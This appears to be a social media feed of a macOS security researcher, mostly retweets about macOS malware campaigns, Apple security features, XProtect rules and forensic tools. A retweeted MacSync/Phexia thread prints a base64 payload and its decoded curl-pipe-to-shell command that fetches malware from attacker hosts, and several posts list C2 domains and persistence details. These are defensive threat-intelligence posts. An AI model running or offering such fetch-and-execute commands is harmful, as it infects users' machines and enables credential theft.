Principal macOS Security Researcher at @HuntressLabs | Creator of @Crash_Security | Reviewer at @bestthrillbooks | @MillennialGirlDad on @SubstackInc | ๐Ÿ€

Joined March 2016
727 Photos and videos
Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
Neat addition to EndpointSecurity with deadline manipulation in the macOS 27 beta
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
May 21
New AMOS campaign details. Attackers are using a phishing page hosted on sites.google.com, tricking users into executing a malicious command in Terminal: hxxps://api-metrics-5453[.]com/curl/3e97b0eddfddb28e10008f9348381b2665e1ad12476315b24a64808696c3347b The bash script downloads and launches the next-stage stager: โ€œhelperโ€. โ€œhelperโ€ is a heavily obfuscated loader/dropper. It does not steal data directly, but prepares and launches the next stage (AMOS stealer backdoor). The rest you already know. Infrastructure: api-metrics-5453[.]com โ€” first stage prismdata48[.]com โ€” Phishing site solidlattice65[.]com โ€” Phishing site #AMOS #STEALER #macOS #malware #detection
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
Spent some time with Claude this weekend making an Endpoint Security reference for research and development. Checks for the latest SDK, parses the ES headers, and publishes. Includes a dedicated ES change log and telemetry matrix. esapi.swiftlydetecting.com/
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
Follow our research with the new @JamfThreatLabs handle! We may also share some additional intel on the macOS threat landscape from time to time!
Hello World!
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
๐Ÿงต The axios @npmjs compromise dropped a @macOS backdoor that closely mirrors North Korea's (@DPRK) recent WAVESHAPER backdoor. Let's take a quick look the full intrusion:
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
You can now build macOS firewalls/network tools via Endpoint Security - no Network Ext. needed! ๐Ÿคฏ Reversing macOS 24.6โ€™s new ES_EVENT_TYPE_RESERVED_* ES events shows some are network auth/notify hooks Read: โ€œBuilding a Firewallโ€ฆvia Endpoint Security!?โ€ objective-see.org/blog/blog_โ€ฆ
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
In macOS Tahoe 26.4 Apple added a new security feature to Terminal that warns users of potentially malicious pastes with a "Possible malware, Paste blocked" prompt. Here how it actually works ๐Ÿงต
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
I've exited from tech and am doing guided tours in and around Yellowstone. backroadsbear.com Thanks to everyone for some great years! This will be my last post here. ๐Ÿฌ
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
DFIR analysts who use macOS as their daily driver deserve free and native forensic tooling. So I built one. ๐ŸŽ Introducing ๐—œ๐—ฅ๐—™๐—น๐—ผ๐˜„ ๐—ง๐—ถ๐—บ๐—ฒ๐—น๐—ถ๐—ป๐—ฒ โ€” a timeline analysis app built from the ground up for Mac-based DFIR folks, forensic investigators, or SOC analysts. Built in appreciation of, and inspired by, Eric Zimmermanโ€™s Timeline Explorer. Every feature in this tool was shaped by real IR casework. Handling massive timelines, parsing artifacts here and there, and pivoting across logs during active investigations. I built IRFlow Timeline to be the native macOS timeline analyzer that actually keeps up with a live case. Every button and view is intentional; if itโ€™s in the app, itโ€™s because I needed it mid-case and realized the standard tools fell short. No dependencies. Zero setup. Just drag, drop, and analyze. #dfir #incidentresponse #timeline #macos #threathunitng #digitalforensics
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Apple dropping some XProtect updates (v5331) which seem to be every couple of Tuesdays. The new yara rules which look at some AMOS stealers are really interesting in that they're looking at the assembly instructions and the script-based stuff continues to move into XPScripts.yr.
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Jamf Threat Labs team always dropping the dopest tools ๐Ÿ’œ awesome work @txhaflaire
Is ESLogger or Mac Monitor your friend for dynamic malware analysis on macOS? Then i've got something that might come to use! An browser based ES/Mac Monitor log analyzer with a lot of neat features like story timelines, Sigma rule matching, an in-depth process tree analyzer and much more and the neat thing is, nothing is uploaded to any backend! I'm looking for feedback! Take a look at es.decompiler.dev #macos #malware #reverseengineering #re #ThreatHunting #dfir
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
Hunting for MacOS malware๐ŸŽwith @osint_barbie revealed how threat actors are now leveraging different malware solutions at the same time on the same payload, in this case, MacSync Stealer Phexia Botnet for persistence Malicious @evernote results with fake installations guides are being sponsored on Google for common searches like homebrew leading the user to copy paste and run a malicious command (image 1) lite.evernote[.]com/note/c548d6e8-22e3-d45c-b0d2-2ac5ecbd8964 Like usual, payload is base64 encoded echo 'ZWNobyAnSW5zdGFsbGluZyBwYWNrYWdlIHBsZWFzZSB3YWl0Li4uJzsgY3VybCAta2ZzU0wgaHR0cDovL29udGFyaW9xdWFsaXR5Y2VkYXIuY29tL2N1cmwvYTBlZDBiZjg4MTY0YjA5NTYwZjM1ODQ2MjI3MWM2YTZlNzFkMjYxMWRiNjNkODVlYmFhZTkwYjI0OWJlOWYyOCB8IHpzaDsgY3VybCAta2ZzU0wgaHR0cDovLzEzOC4xMjQuMTguOS92IHwgYmFzaA==' | base64 -D | zsh decoded curl -kfsSL http://ontarioqualitycedar[.]com/curl/a0ed0bf88164b09560f358462271c6a6e71d2611db63d85ebaae90b249be9f28 | zsh; curl -kfsSL http://138.124.18.9/v and we can already observe the two different malware solutions being leveraged 1. MacSync Stealer As it is usual, URL http://ontarioqualitycedar[.]com/curl/a0ed0bf88164b09560f358462271c6a6e71d2611db63d85ebaae90b249be9f28 will provide a bash script with a b64 gunzip encoding, in charge of fetching infostealer applescript, executing it and uploading victim log to C2 (image 2) There is not really much newer on this as what is seen before, just that now MacSync scripts uploads the log by splitting the file in 10mb chunks, probably to avoid data loses in big sized logs MacSync bash Script -> f5a3fcc5f5d4754d7262f55ac0a4519af15f93bba847e986a1660820bad1caef 2. Phexia Botnet Interesting part of this post is that a second payload is being executed sequentially as part of a different malware solution to create persistence on the MacOS infected machine From C2 138.124.18.9/v , a b64-encoded apple script is fetched. In this case, it creates LaunchAgent persistence using a plist in ~/Library/LaunchAgents/com.bashsrc.ixxjeiijvivzovon.plist with a b64 applescript content This second payload, nothing far from what is has been seen before, is the responsible to fetch a Phexia Botnet live C2 from t[.]me/phefuckxiabot or if failed, harcoded values (kys[.]cx and kys[.]li), grab and execute Phexia Botnet applescript, which manages to grab specs from the machine and waits until a task is loaded to be executed in the infected machine (image 3) Phexia AppleScript -> 618bff4f4d090ff802d8009dc97a89723757bd179e5cab069fb33c5ec7de61c2 Sponsored results are being paid by different, likely compromised, advertisers (image 4) Transparency users - AR01249564419160014849, AR13446608053252128769, AR06288543453827563521, AR03671228110637891585 By analysing the advertisers, you can already see other active ads sponsoring other malicious Evernote results for MacOS applications or fake command solutions for Transmission, OnyX, Rectangle, Final Cut Pro, PearCleaner, DropOver, 7zip, Flush DNS, NFTS, AppCleaner, OBS, CrossOver, Unarchiver, Open Source Office, Microsoft Office or VLC Player, among others.
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
1/ Weโ€™re tracking a fresh wave of #Odyssey #Stealer activity targeting #macOS users. Over the past days, our telemetry showed newly updated samples spreading primarily across: ๐Ÿ‡บ๐Ÿ‡ธ United States ๐Ÿ‡ซ๐Ÿ‡ท France ๐Ÿ‡ช๐Ÿ‡ธ Spain Today, the picture has clearly changed: the same Odyssey campaign is now affecting users in additional regions, including: ๐Ÿ‡ฌ๐Ÿ‡ง United Kingdom ๐Ÿ‡ฉ๐Ÿ‡ช Germany ๐Ÿ‡ฎ๐Ÿ‡น Italy ๐Ÿ‡จ๐Ÿ‡ฆ Canada ๐Ÿ‡ง๐Ÿ‡ท Brazil ๐Ÿ‡ฎ๐Ÿ‡ณ India ๐ŸŒMultiple countries across Africa and Asia Two map screenshots, taken only one day apart, highlight a rapidly expanding geographic footprint. Odyssey stealer samples in this campaign appear to be auto-generated, producing many unique hashes with the same size and functionality. See IOCs in the next one below๐Ÿ‘‡
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
This is an important update to osascript detection on macOS. As @howardnoakley stated, 12 rules were added including one for compiled osascript. These rules appear to provide coverage for many of the common infostealers we see targeting macOS. Let's take a look at a couple๐Ÿงต
Apple has released an update to XProtect for all macOS eclecticlight.co/2026/02/03/โ€ฆ via @howardnoakley
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
1/ After Mosyle shared details of the macOS malware campaign dubbed #SimpleStealth (reported by @arinwaichulis 9to5mac.com/2026/01/09/mosylโ€ฆ), spreading via a fake @grok app, we took a closer look at the sample and found it attempting to terminate macOS security and monitoring tools๐Ÿงต
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
i did a blog tangentially about digitstealer izzyboop.com/posts/Get-gud-wโ€ฆ

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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
Are you using Visual Studio Code? Then this new blog from Jamf Threat Labs might have some takeaways for you! In this blog, weโ€™ll shed light on newer techniques being used by DPRK-linked threat actors related to Contagious Interview, including a newly observed backdoor component. jamf.com/blog/threat-actors-โ€ฆ #malware #git #macos #ThreatHunting #jamf
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
@stuartjash, Chris Ryan, and I have the incredible opportunity/privilege at helping build the @HuntressLabs EDR products. Although we all work on a different OS for these products, one thing we try to drive for our customers is parity. That comes with a handful of challenges as one might imagine. Today, the 3 of us are dropping a blog that goes over the desire to chase parity across these products. Blog: huntress.com/blog/pursuing-pโ€ฆ Note: Expect to see more blogs like this, this year. We are driving some really cool features that can replicate across different operating systems.
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Stuart Ashenbrenner ๐Ÿ‡บ๐Ÿ‡ธ ๐Ÿ‡จ๐Ÿ‡ฆ retweeted
๐ŸŽ‰ A decade of Mac malware research ๐ŸŽ‰ Just published our 10th annual โ€œThe Mac Malware of <year>โ€ report ...2025 edition! For each new sample of 2025, covers: ๐Ÿ”Ž IoCs ๐Ÿ’‰ Infection ๐Ÿ’พ Persistence ๐Ÿ“ก Capabilities โ˜ฃ๏ธ Samples for download Dive in ๐Ÿ‘‡ objective-see.org/blog/blog_โ€ฆ
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I have a copy of THE ART OF MAC MALWARE books to giveaway! If you'd like a copy, please just reply to this that you're interested and I will pick randomly. The only requirement is that you follow @patrickwardle, @objective_see, and are interested in Mac malware.
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We have a winner (from a commenter over on Linkedin). Thanks everyone! Make sure you check out the books!
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